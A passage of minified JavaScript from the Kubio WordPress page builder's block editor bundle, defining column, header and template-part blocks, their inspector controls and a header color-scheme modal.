t,o;const{globalStyle:n}=Object(tl.useGlobalDataStyle)(),a=e.withParent(),l={hSpacing:a.usePropPath("layout.horizontalGap",{media:"current"}),vSpacing:a.usePropPath("layout.verticalGap",{media:"current"})},r=Object(He.useTransformStyle)(e),i=r.useStylePath("transform.translate.x",{},{value:0,unit:"px"}),c=r.useStylePath("transform.translate.y",{},{value:0,unit:"px"}),s=parseInt(e.getStyle("z-index"));return{row:l,vSpaceDefault:n.getPropInMedia("vSpace"),translateX:i,translateY:c,isColumnOverlaped:!!(null!=i&&null!==(t=i.value)&&void 0!==t&&t.value||null!=c&&null!==(o=c.value)&&void 0!==o&&o.value||s)}})))((e=>{const{computed:t,canOverlap:o,withContentElementsVerticalSpacing:n=!0}=e,{row:a,vSpaceDefault:l}=t;return Object(xe.createElement)(Re.KubioPanelBody,{initialOpen:!1,title:Object(We.__)("Spacing and alignment","kubio")},Object(xe.createElement)(Re.SpacingSelect,Object(ut.a)({label:Object(We.__)("Horizontal space between columns","kubio")},null==a?void 0:a.hSpacing)),Object(xe.createElement)(Re.SpacingSelect,Object(ut.a)({label:Object(We.__)("Vertical space between columns","kubio")},null==a?void 0:a.vSpacing)),Object(xe.createElement)(Re.InnerSpacingWithPath,{path:"layout.horizontalInnerGap",type:"prop",media:"current",label:Object(We.__)("Horizontal column inner spacing","kubio")}),Object(xe.createElement)(Re.InnerSpacingWithPath,{path:"layout.verticalInnerGap",type:"prop",media:"current",label:Object(We.__)("Vertical column inner spacing","kubio")}),n&&Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Content elements vertical spacing","kubio"),type:"prop",media:"current",defaultValue:l,path:"layout.vSpace"}),o&&Object(xe.createElement)(Sr,e))})),Pr=e=>{let{onlyEqualWidth:t,canOverlap:o=!0,beforeComponent:n,afterComponent:a}=e;return Object(xe.createElement)(ze.ContentInspectorControls,null,n,Object(xe.createElement)(Cr,{onlyEqualWidth:t}),Object(xe.createElement)(wr,{canOverlap:o}),a)},Ar=()=>{const e=Ne.a.get(Vl,Gl);return Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Re.BackgroundSection,{styledElement:e}),Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Border & Shadow","kubio"),initialOpen:!1},Object(xe.createElement)(Re.BordersAndRadiusWithPath,{type:He.WithDataPathTypes.STYLE,path:"border"}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxShadowWithPath,{label:Object(We.__)("Box shadow","kubio"),path:"boxShadow",type:He.WithDataPathTypes.STYLE,style:Gl})))};const Br=function(){let{dataHelper:e,hooks:t,after:o=!1,ownerDocument:n}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{insertBlock:a}=t,l={after:o},r={createBlock:Ge.createBlock,insertBlock:a,ownerDocument:n};Ca(e,r,l)},Nr=[[nt.CHANGE_IMAGE_VIDEO,nt.CHANGE_BACKGROUND],[{label:Object(We.__)("Add column before","kubio"),action:e=>{let{dataHelper:t,event:o,hooks:n,ownerDocument:a}=e;Xe(o),Br({dataHelper:t,hooks:n,after:!1,ownerDocument:a})}},{label:Object(We.__)("Add column after","kubio"),action:e=>{let{dataHelper:t,event:o,hooks:n,ownerDocument:a}=e;Xe(o),Br({dataHelper:t,hooks:n,after:!0,ownerDocument:a})}}],...ot];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",Yo.COLUMN,((e,t)=>t===Yo.COLUMN?Nr:e));const xr={name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},Rr=Object(nn.extendBlockMeta)(xr,{title:Object(We.__)("Column","kubio"),icon:on.BlockIcons.Columns,keywords:[],apiVersion:2,parent:[yt.ROW],supports:{kubio:{elementsByName:Vl},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Pr,null),Object(xe.createElement)(Ar,null),Object(xe.createElement)(fr,e))},save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variationsFilter:e=>(null!=e&&e.isDefault&&Object(Be.set)(e,"attributes.kubio._style.descendants.container.columnWidth",{type:"custom",custom:{value:50,unit:"%"}}),e)}),Dr=e=>t=>{var o;let{slug:n,theme:a}=t;if(!n)return;const l=Object(Ve.select)(pt.store).getEntityRecord("postType","wp_template_part",a+"//"+n);return l?Object(We.sprintf)(e,Object(Be.startCase)((null===(o=l.title)||void 0===o?void 0:o.rendered)||l.slug)):void 0};var Lr=o(33),Mr=o(58);function Wr(e){let{tagName:t,setAttributes:o,isEntityAvailable:n,templatePartId:a,defaultWrapper:l}=e;const[r,i]=Object(pt.useEntityProp)("postType","wp_template_part","area",a),[c,s]=Object(pt.useEntityProp)("postType","wp_template_part","title",a),{areaOptions:u}=Object(Ve.useSelect)((e=>({areaOptions:e(Mr.store).__experimentalGetDefaultTemplatePartAreas().map((e=>{let{label:t,area:o}=e;return{label:t,value:o}}))})),[]);return Object(xe.createElement)(De.InspectorAdvancedControls,null,n&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.TextControl,{label:Object(We.__)("Title","kubio"),value:c,onChange:e=>{s(e)},onFocus:e=>e.target.select()}),Object(xe.createElement)(Le.SelectControl,{label:Object(We.__)("Area","kubio"),labelPosition:"top",options:u,value:r,onChange:i})),Object(xe.createElement)(Le.SelectControl,{label:Object(We.__)("HTML element","kubio"),options:[{label:Object(We.sprintf)(/* translators: %s: HTML tag based on area. */Object(We.__)("Default based on area (%s)","kubio"),`<${l}>`),value:""},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"},{label:"<div>",value:"div"}],value:t||"",onChange:e=>o({tagName:e})}))}const Hr=[Yo.SECTION,Yo.NAVIGATION];function Gr(e){let{postId:t,hasInnerBlocks:o,layout:n,tagName:a,blockProps:l,innerBlocksProps:r,displayAppender:i=!1,innerBlocks:c}=e;const s=Object(Ve.useSelect)((e=>{var t;const{getSettings:o}=e(De.store);return null===(t=o())||void 0===t?void 0:t.supportsLayout}),[]),u=Object(De.useSetting)("layout")||{},p=n&&n.inherit?u:n,{contentSize:b,wideSize:m}=p,d=b||m?["wide","full"]:["left","center","right"],[h,O,g]=Object(pt.useEntityBlockEditor)("postType","wp_template_part",{id:t}),y=!h.length&&null!=c&&c.length?c:h,j=$o(l,{value:y,onInput:O,onChange:g,renderAppender:o?i:De.InnerBlocks.ButtonBlockAppender,__experimentalLayout:{type:"default",alignments:s?d:void 0},allowedBlocks:Hr,...r});return Object(xe.createElement)(a,j)}var Ur=o(320),Fr=o(69);function zr(){return Object(xe.createElement)("div",{className:"wp-block-template-part__selection-preview-item is-placeholder",tabIndex:0})}function Vr(e){let{templatePart:t,setAttributes:o,onClose:n,composite:a}=e;const{slug:l,theme:r,title:{rendered:i}}=t,c=t.content.raw||"",s=Object(xe.useMemo)((()=>Object(Ge.parse)(c)),[c]),{createSuccessNotice:u}=Object(Ve.useDispatch)(Fr.store),p=Object(xe.useCallback)((()=>{o({slug:l,theme:r,area:void 0}),u(Object(We.sprintf)(/* translators: %s: template part title. */Object(We.__)('Template Part "%s" inserted.',"kubio"),i||l),{type:"snackbar"}),n()}),[l,r]);return Object(xe.createElement)(Le.__unstableCompositeItem,Object(ut.a)({as:"div",className:"wp-block-template-part__selection-preview-item",role:"option",onClick:p,onKeyDown:e=>{ua.ENTER!==e.keyCode&&ua.SPACE!==e.keyCode||p()},tabIndex:0,"aria-label":i||l},a),Object(xe.createElement)(De.BlockPreview,{blocks:s}),Object(xe.createElement)("div",{className:"wp-block-template-part__selection-preview-item-title"},i||l))}function Yr(e){let{title:t,icon:o,children:n}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)("div",{className:"wp-block-template-part__selection-panel-group-header"},Object(xe.createElement)("span",{className:"wp-block-template-part__selection-panel-group-title"},t),Object(xe.createElement)(Le.Icon,{icon:o})),Object(xe.createElement)("div",{className:"wp-block-template-part__selection-panel-group-content"},n))}function $r(e){let{templateParts:t,setAttributes:o,onClose:n,composite:a}=e;const l=Object(xe.useMemo)((()=>Object.values(Object(Be.groupBy)(t,"theme"))),[t]),r=Object(Me.useAsyncList)(t);return l.map((e=>Object(xe.createElement)(Yr,{key:e[0].theme},e.map((e=>r.includes(e)?Object(xe.createElement)(Vr,{key:e.id,templatePart:e,setAttributes:o,onClose:n,composite:a}):Object(xe.createElement)(zr,{key:e.id}))))))}function Kr(e){let{templateParts:t,setAttributes:o,filterValue:n,onClose:a,composite:l}=e;const r=Object(xe.useMemo)((()=>{const e=Object(Be.deburr)(n).toLowerCase(),o=t.filter((t=>{let{slug:o,theme:n}=t;return o.toLowerCase().includes(e)||Object(Be.deburr)(n).toLowerCase().includes(e)}));return o.sort(((t,o)=>{const n=t.slug.toLowerCase().indexOf(e),a=o.slug.toLowerCase().indexOf(e);return-1!==n&&-1!==a?n-a:-1!==n?-1:-1!==a?1:Object(Be.deburr)(t.theme).toLowerCase().indexOf(e)-Object(Be.deburr)(o.theme).toLowerCase().indexOf(e)})),o}),[n,t]),i=Object(Me.useAsyncList)(r);return r.map((e=>Object(xe.createElement)(Yr,{key:e.id,title:e.theme||Object(We.__)("Custom","kubio")},i.includes(e)?Object(xe.createElement)(Vr,{key:e.id,templatePart:e,setAttributes:o,onClose:a,composite:l}):Object(xe.createElement)(zr,{key:e.id}))))}function qr(e){let{setAttributes:t,filterValue:o,onClose:n,blockArea:a}=e;const l=Object(Le.__unstableUseCompositeState)();let r=Object(Ve.useSelect)((e=>e(pt.store).getEntityRecords("postType","wp_template_part")||[]),[]);return r&&r.length?(a&&(r=r.filter((e=>e.area===a))),o?Object(xe.createElement)(Le.__unstableComposite,Object(ut.a)({},l,{role:"listbox","aria-label":Object(We.__)("List of template parts","kubio")}),Object(xe.createElement)(Kr,{templateParts:r,setAttributes:t,filterValue:o,onClose:n,composite:l})):Object(xe.createElement)(Le.__unstableComposite,Object(ut.a)({},l,{role:"listbox","aria-label":Object(We.__)("List of template parts","kubio")}),Object(xe.createElement)($r,{templateParts:r,setAttributes:t,onClose:n,composite:l}))):null}const Xr=e=>{[ua.LEFT,ua.DOWN,ua.RIGHT,ua.UP,ua.BACKSPACE,ua.ENTER].includes(e.keyCode)&&e.stopPropagation()},Qr=e=>e.stopPropagation();function Zr(e){let{setAttributes:t,onClose:o,blockArea:n,className:a=""}=e;const[l,r]=Object(xe.useState)("");return Object(xe.createElement)("div",{onKeyPress:Qr,onKeyDown:Xr,className:a},Object(xe.createElement)(Le.SearchControl,{value:l,onChange:r,className:"wp-block-template-part__selection-preview-search-form"}),Object(xe.createElement)("div",{className:"wp-block-template-part__selection-preview-container"},Object(xe.createElement)(qr,{setAttributes:t,filterValue:l,onClose:o,blockArea:n})))}function Jr(e){let{area:t,clientId:o,onCreate:n}=e;const a=t?`core/template-part/${t}`:"core/template-part";return Object(xe.createElement)(De.__experimentalBlockPatternSetup,{clientId:o,startBlankComponent:Object(xe.createElement)(ei,{onCreate:n}),onBlockPatternSelect:n,filterPatternsFn:e=>{var t,o;return null==e||null===(t=e.blockTypes)||void 0===t||null===(o=t.some)||void 0===o?void 0:o.call(t,(e=>e===a))}})}function ei(e){let{onCreate:t}=e;return Object(xe.useEffect)((()=>{t()}),[]),null}const ti={initial:1,patterns:2};function oi(e){let{area:t,clientId:o,setAttributes:n,blockArea:a}=e;const{saveEntityRecord:l}=Object(Ve.useDispatch)(pt.store),[r,i]=Object(xe.useState)(ti.initial),c=Object(xe.useCallback)((async function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];const t={title:Object(We.__)("Untitled Template Part","kubio"),slug:"template-part",content:Object(Ge.serialize)(e),area:a},o=await l("postType","wp_template_part",t);n({slug:o.slug,theme:o.theme,area:a})}),[n,a]);return Object(xe.createElement)(xe.Fragment,null,r===ti.initial&&Object(xe.createElement)(Le.Placeholder,{icon:Ur.a,label:Object(We.__)("Template Part","kubio"),instructions:Object(We.__)("Create a new template part or pick an existing one from the list.","kubio")},Object(xe.createElement)(Le.Dropdown,{contentClassName:"wp-block-template-part__placeholder-preview-dropdown-content",position:"bottom right left",renderToggle:e=>{let{isOpen:t,onToggle:o}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.Button,{isPrimary:!0,onClick:o,"aria-expanded":t},Object(We.__)("Choose existing","kubio")),Object(xe.createElement)(Le.Button,{isTertiary:!0,onClick:()=>i(ti.patterns)},Object(We.__)("New template part","kubio")))},renderContent:e=>{let{onClose:t}=e;return Object(xe.createElement)(Zr,{setAttributes:n,onClose:t,blockArea:a})}})),r===ti.patterns&&Object(xe.createElement)(Jr,{area:a,onCreate:c,clientId:o}))}const ni=["kubio-header","kubio-footer","kubio-blog-sidebar","kubio-page-sidebar","header","footer","sidebar"];function ai(e){let{attributes:t,setAttributes:o,isSelected:n,clientId:a,innerBlocksProps:l,tagName:r,blockArea:i,displayAppender:c=!1}=e,{slug:s=null,theme:u=null,tagName:p,layout:b={}}=t;const m=Object(xe.useRef)(!1),d=Object(Ve.useSelect)((e=>{var t,o;if(m.current)return[];const{getEntityRecords:n}=e("core");let a=n("postType","wp_template_part",{per_page:-1});return a=null===(t=a)||void 0===t||null===(o=t.filter((e=>{let{area:t}=e;return t===i})))||void 0===o?void 0:o.map((e=>{let{id:t}=e;return t.split("//").pop()})),a}),[]);p=r||p;const h=u&&s?u+"//"+s:null,O=Object(Ve.useSelect)((e=>{var t;return null===(t=e("core").getCurrentTheme())||void 0===t?void 0:t.stylesheet}));Object(xe.useEffect)((()=>{if(Object(Be.isArray)(d)&&!s){m.current=!0;let e=Object(Be.first)(Object(Be.intersection)(ni,d));e||(e=Object(Be.first)(d)),e&&Object(He.silentDispatch)((()=>{o({theme:O,slug:e})}))}}),[d,s]);const g=Object(Ve.useSelect)((e=>{var t,o,n,l;return null===(t=e("core/blocks"))||void 0===t||null===(o=t.getBlockType(null===(n=e("core/block-editor"))||void 0===n||null===(l=n.getBlock(a))||void 0===l?void 0:l.name))||void 0===o?void 0:o.title}),[a]);Object(xe.useEffect)((()=>{!u&&O&&Object(He.silentDispatch)((()=>o({theme:O})))}),[u,O]);const[y,j]=Ko(h),k=Object(Me.useInstanceId)(ai),{isResolved:E,storeInnerBlocks:f,isMissing:v,defaultWrapper:_,content:C}=Object(Ve.useSelect)((e=>{var o;const{getEditedEntityRecord:n,hasFinishedResolution:l}=e(pt.store),{getBlocks:r}=e(De.store),i=["postType","wp_template_part",h],c=h?n(...i):null,s=!!h&&l("getEditedEntityRecord",i),u=null===(o=e(Mr.store).__experimentalGetDefaultTemplatePartAreas().find((e=>{let{area:o}=e;return o===((null==c?void 0:c.area)||t.area)})))||void 0===o?void 0:o.area_tag;return{storeInnerBlocks:r(a),content:(null==c?void 0:c.content)||"",isResolved:s,isMissing:s&&Ne.a.isEmpty(c),defaultWrapper:u||"div"}}),[h,a,k]),I=Object(xe.useMemo)((()=>{if(f.length)return f;let e=[];try{e=Object(Ge.parse)(C||"")}catch(t){e=[]}return e}),[f,C]),T=Object(De.useBlockProps)({className:$e()("kubio-template-part")}),S=!s,w=!S&&!v&&E,P=p||_;if(!Object(He.isKubioEditor)()){var A,B;const e=null===(A=window)||void 0===A||null===(B=A.kubioUtilsData)||void 0===B?void 0:B.kubioEditorURL;return Object(xe.createElement)("div",T,Object(xe.createElement)(Re.BlockPlaceholder,{title:// translators: %s - block title
Object(We.sprintf)(Object(We.__)("Kubio %s block","kubio"),g),description:Object(We.__)("A Kubio template part content can be edited inside the Kubio Page Builder","kubio")},e&&Object(xe.createElement)(Le.Button,{isPrimary:!0,className:"button button-hero kubio-template-part-button--in-editor",onClick:()=>window.location=e},Object(We.__)("Edit with Kubio","kubio"))))}return 0===I.length&&(s&&!u||s&&v)?Object(xe.createElement)(P,T,Object(xe.createElement)(Re.SmallPlaceholder,{message:Object(xe.createElement)("p",null,Object(We.sprintf)(/* translators: %s: Template part slug */Object(We.__)("Template part has been deleted or is unavailable: %s","kubio"),s))})):w&&y?Object(xe.createElement)(P,T,Object(xe.createElement)(De.Warning,null,Object(We.__)("Block cannot be rendered inside itself.","kubio"))):Object(xe.createElement)(j,null,n&&Object(xe.createElement)(Wr,{tagName:p,setAttributes:o,isEntityAvailable:w,templatePartId:h,defaultWrapper:_}),S&&Object(xe.createElement)(P,T,Object(xe.createElement)(oi,{area:t.area,clientId:a,setAttributes:o,blockArea:i})),w&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Gr,{tagName:P,blockProps:T,postId:h,hasInnerBlocks:I.length>0,layout:b,innerBlocksProps:l,displayAppender:c,innerBlocks:I})),!S&&!E&&Object(xe.createElement)(P,T,Object(xe.createElement)(Le.Spinner,null)))}var li=o(32),ri=o.n(li),ii=o(47),ci=o.n(ii);const si="changePalette",ui="updateHeaderColors",pi={h:0,s:0,l:15},bi=e=>{let{colibriColorPalette:t,clientId:o}=e;const[n,a]=Object(xe.useState)(!1),[l,r]=Object(xe.useState)(!1),{getBlockOrder:i,getBlock:c,getBlockAttributes:s,currentPageId:u}=Object(Ve.useSelect)((e=>{const{getBlock:t,getBlockOrder:o,getBlockAttributes:n}=e("core/block-editor"),{getPage:a=Ne.a.noop}=e("kubio/edit-site")||{},l=a();return{getBlock:t,getBlockOrder:o,getBlockAttributes:n,currentPageId:Ne.a.get(l,["context","postId"])}}),[]),{setOpenInserter:p}=Object(Ve.useDispatch)(Fe.STORE_KEY),{updateBlockAttributes:b}=Object(Ve.useDispatch)("core/block-editor"),m=Object(Lr.useGetGlobalSessionProp)("headerColorPalette.applyAutomatically"),d=Object(Lr.useSetGlobalSessionProp)("headerColorPalette.colibriPalette"),h=Object(Lr.useSetGlobalSessionProp)("headerColorPalette.applyAutomatically"),{getPalette:O,setPalette:g,parseVariableColor:y}=Object(tl.useGlobalDataColors)(),j=Object(He.useDeepMemo)((()=>Object(un.convertColibriColorPalette)(t)),[t]),k=Object(xe.useCallback)((()=>{const e=O();return!!ri()(e,j)||e.length===j.length&&e.reduce(((e,t,o)=>{if(!e)return!1;const n=ci()(`rgb(${t.color.join(",")})`),a=ci()(`rgb(${j[o].color.join(",")})`),l=n.toHsl(),r=a.toHsl();for(const e of["h","s","l"]){const t=pi[e];if(Math.abs(l[e])-Math.abs(r[e])>t)return!1}return!0}),!0)}),[j,O]),E=Object(xe.useCallback)((e=>{!m&&n&&h(e)}),[m,n,h]),f=Object(xe.useCallback)((()=>{g(j),E(si),d(null)}),[j,g,d,E]),v=Object(xe.useCallback)((()=>{const e=i(o).map((e=>c(e)));Object(un.removeThemeColorsFromBlocks)({blocks:e,colorPalette:j,parseVariableColor:y,updateBlockAttributes:b,getBlockAttributes:s,generateColorVariants:tl.generateColorVariants}),E(ui),d(null)}),[o,j,c,s,i,y,d,b,E]);if(Object(xe.useEffect)((()=>()=>{t&&u&&d(null)}),[u,t,d]),Object(xe.useEffect)((()=>()=>{t&&u&&d(null)}),[u,t,d]),Object(xe.useEffect)((()=>{if(k())return d(null),void r(!0);m?(m===si&&(r(!0),f()),m===ui&&(r(!0),v())):p(!1)}),[m,f,k,r,v,p,d]),m||l)return Object(xe.createElement)(xe.Fragment,null);const _=O(),C=Object(xe.createElement)(Le.Flex,{gap:0,className:"kubio-current-colors-palette"},_.map(((e,t)=>{let{color:o,slug:n}=e;return Object(xe.createElement)(Le.Tooltip,{text:ci()("rgb("+o.join(",")+")").toHexString(),key:"tooltip-current-"+t+"-"+n},Object(xe.createElement)("div",{key:`${n}-wrapper`},Object(xe.createElement)(Re.ColorIndicator,{key:"color-current-"+t+"-"+n,value:`rgb(${o.join(",")})`})))}))),I=Object(xe.createElement)(Le.Flex,{gap:0,className:"kubio-current-colors-palette"},j.map(((e,t)=>{let{color:o,slug:n}=e;return Object(xe.createElement)(Le.Tooltip,{text:ci()("rgb("+o.join(",")+")").toHexString(),key:"tooltip-new-"+t+"-"+n},Object(xe.createElement)("div",null,Object(xe.createElement)(Re.ColorIndicator,{key:"color-new-"+t+"-"+n,value:`rgb(${o.join(",")})`})))})));return Object(xe.createElement)("div",{className:"kubio-header-color-palette-overlay"},Object(xe.createElement)("div",{className:"kubio-header-color-palette-overlay__popup"},Object(xe.createElement)(Re.TemplateLockModal,{title:Object(We.__)("Apply header color scheme to the website?","kubio")},Object(xe.createElement)("div",{className:"h-template-lock-controls"},Object(xe.createElement)("div",{className:"h-template-lock-controls__message"},Object(We.__)("This header comes with a different color scheme. You can choose to apply the header color scheme to the entire website or keep the current color scheme.","kubio")),Object(xe.createElement)("div",{className:"kubio-header-color-palette-list-container"},Object(xe.createElement)(Le.Flex,{direction:"row",expanded:!0,justify:"center",wrap:!1,className:"kubio-header-color-palette-list first"},Object(xe.createElement)(Le.FlexItem,{className:"colors-scheme-label"},Object(We.__)("Current colors:","kubio")),Object(xe.createElement)(Le.FlexItem,{isBlock:!0,className:"colors-scheme-container"},C)),Object(xe.createElement)(Le.Flex,{direction:"row",expanded:!0,justify:"center",wrap:!1,className:"kubio-header-color-palette-list"},Object(xe.createElement)(Le.FlexItem,{className:"colors-scheme-label"},Object(We.__)("Header colors:","kubio")),Object(xe.createElement)(Le.FlexItem,{isBlock:!0,className:"colors-scheme-container"},I))),Object(xe.createElement)(Le.ButtonGroup,{className:"colors-scheme-buttons"},Object(xe.createElement)(Le.Button,{isPrimary:!0,onClick:f},Object(We.__)("Apply header colors","kubio")),Object(xe.createElement)(Le.Button,{isSecondary:!0,onClick:v},Object(We.__)("Keep current colors","kubio"))),Object(xe.createElement)(Le.CheckboxControl,{label:Object(We.__)("Remember my choice for the current session","kubio"),className:"kubio-header-color-palette-overlay__checkbox",checked:n,onChange:a})))))};function mi(e){let{children:t,...o}=e;const n=Object(xe.useRef)();return Object(xe.createElement)("div",{ref:n,className:"position-relative"},t,Object(xe.createElement)(bi,o))}const di=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e,n=Object(xe.useMemo)((()=>({name:"header"})),[]),a=Object(Ve.useSelect)((e=>{const{getIsFrontPage:t=Ne.a.noop}=e(Fe.STORE_KEY)||{};return t()}),[]),l=Object(Lr.useGetGlobalSessionProp)("headerColorPalette.colibriPalette"),r=l&&a,i=Object(xe.createElement)(Ve.AsyncModeProvider,{value:!1},Object(xe.createElement)(ai,Object(ut.a)({blockArea:"header",tagName:t.Container},e)));return Object(xe.createElement)(He.TemplatePartContext.Provider,{value:n},Object(xe.createElement)(Re.TemplatePartOverlay,{templatePart:"header",clientId:o,from:"header"},!r&&i,r&&Object(xe.createElement)(mi,{clientId:o,colibriColorPalette:l},i)))})),hi="container",Oi={[hi]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_HEADING],states:cn.StatesPresetsEnum.BASIC}}};var gi=e=>{const t=Ne.a.get(Oi,hi);return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Background","kubio")},Object(xe.createElement)(Re.BackgroundSection,{styledElement:t,showPanelWrapper:!1,dataHelper:e.dataHelper}))};const yi=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(gi,null));var ji=o(29);const ki=Object(He.withComputedData)((e=>({currentSlug:e.useAttributePath("slug")})))((function(){let{computed:e,type:t,beforeComponent:o,afterComponent:n}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{currentTemplate:a,templatePartsOptions:l,config:r}=Object(He.useTemplateData)(t),{currentSlug:i}=e,[c,s]=Object(xe.useState)({show:!1,slug:null}),[u,p]=Object(xe.useState)(!1),b=()=>{s({show:!1,slug:null})},{createErrorNotice:m,createSuccessNotice:d}=Object(He.useKubioNotices)(),{deleteEntityRecord:h}=Object(Ve.useDispatch)("core"),O=Ne.a.get(r,"label",Object(We.__)("Part","kubio"));let g=Ne.a.get(a,"title.rendered");g=Ne.a.startCase(g);const y=Ne.a.get(c,"show");return Object(xe.createElement)(Le.PanelBody,{title:`${Ne.a.capitalize(O)} settings`},o,Object(xe.createElement)(Re.GutentagSelectWithDelete,Object(ut.a)({label:`Page ${O.toLowerCase()} for "${g}"`,options:l,inlineLabel:!1,onDelete:e=>{s({show:!0,slug:e})}},i)),Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(ji.ProItem,{tag:Le.Button,onClick:()=>{u||p(!0)},isPrimary:!0,className:"kubio-button-100",urlArgs:{source:t,content:"create-new"}},`Create new ${O.toLowerCase()}`,u&&Object(xe.createElement)(Re.TemplatePartWizard,{type:t,onClose:()=>{p(!1)}}))),y&&Object(xe.createElement)(Le.Modal,{title:`Delete ${O.toLowerCase()}?`,onRequestClose:b},Object(xe.createElement)("p",null,Object(We.__)("Are you sure you want to delete it?","kubio")),Object(xe.createElement)(Le.ButtonGroup,{className:"h-template-part-modal__button-group"},Object(xe.createElement)(Le.Button,{isSecondary:!0,onClick:b},Object(We.__)("Cancel","kubio")),Object(xe.createElement)(Le.Button,{isPrimary:!0,isDestructive:!0,onClick:async()=>{b();const e=Ne.a.get(c,"slug"),t=l.find((t=>t.value===e));try{await h("postType","wp_template_part",t.id),d(`${Ne.a.capitalize(O)} deleted successfully`)}catch(e){m(`Could not delete ${O.toLowerCase()}. Please try again later`)}}},Object(We.__)("Delete","kubio")))),n)}));var Ei=ki;const fi=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Ei,{type:"header"}));var vi=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(He.isKubioEditor)()&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(yi,null),Object(xe.createElement)(fi,e)),Object(xe.createElement)(di,e))}));const _i={name:"kubio/header",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},Ci=Object(nn.extendBlockMeta)(_i,{title:Object(We.__)("Header","kubio"),description:Object(We.__)("You can replace the default page header with a custom one using the header template part. Create different headers for pages with different personalities.","kubio"),__experimentalLabel:Dr(/* translators: Display header name */Object(We.__)("%s (Header)","kubio")),icon:on.BlockIcons.Header,apiVersion:2,supports:{kubio:{elementsByName:Oi},reusable:!1,html:!1,multiple:!1},edit:vi}),Ii=["image"],Ti="full",Si=e=>function(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{attributes:o,innerBlocks:n}=Object(He.getBlockDefaultVariation)(e);return Object(Ge.createBlock)(e,{...o,...t.attributes},n)},wi={VIDEO:"video",POSTER_IMAGE:"posterImage",ICON_WITH_LIGHTBOX:"iconWithLightbox"};let Pi=[{label:Object(We.__)("Video","kubio"),value:wi.VIDEO},{label:Object(We.__)("Poster image","kubio"),value:wi.POSTER_IMAGE},{label:Object(We.__)("Icon with lightbox","kubio"),value:wi.ICON_WITH_LIGHTBOX}];Pi=Object(ji.addProTagToItems)(Pi,[wi.VIDEO]);const Ai={values:wi,options:Pi},Bi={INTERNAL:"internal",YOUTUBE:"youtube",VIMEO:"vimeo"},Ni={values:Bi,options:[{label:Object(We.__)("Self hosted","kubio"),value:Bi.INTERNAL},{label:Object(We.__)("Youtube","kubio"),value:Bi.YOUTUBE},{label:Object(We.__)("Vimeo","kubio"),value:Bi.VIMEO}]},xi={ICON:"icon",BUTTON:"button"},Ri=[{label:Object(We.__)("Icon","kubio"),value:xi.ICON},{label:Object(We.__)("Button","kubio"),value:xi.BUTTON}],Di={values:xi,options:Ri},Li={[xi.BUTTON]:Si(Yo.BUTTON),[xi.ICON]:()=>Si(Yo.ICON)({attributes:{name:"font-awesome/play"}})},Mi={videoCategory:Ni,videoDisplayAs:Ai,posterPlayAction:Di,aspectRatioOptions:[{value:"3-2",label:"3:2"},{value:"4-3",label:Object(We.__)("4:3 - QXGA","kubio")},{value:"16-9",label:Object(We.__)("16:9 - HD","kubio")},{value:"21-9",label:Object(We.__)("21:9 - Ultra 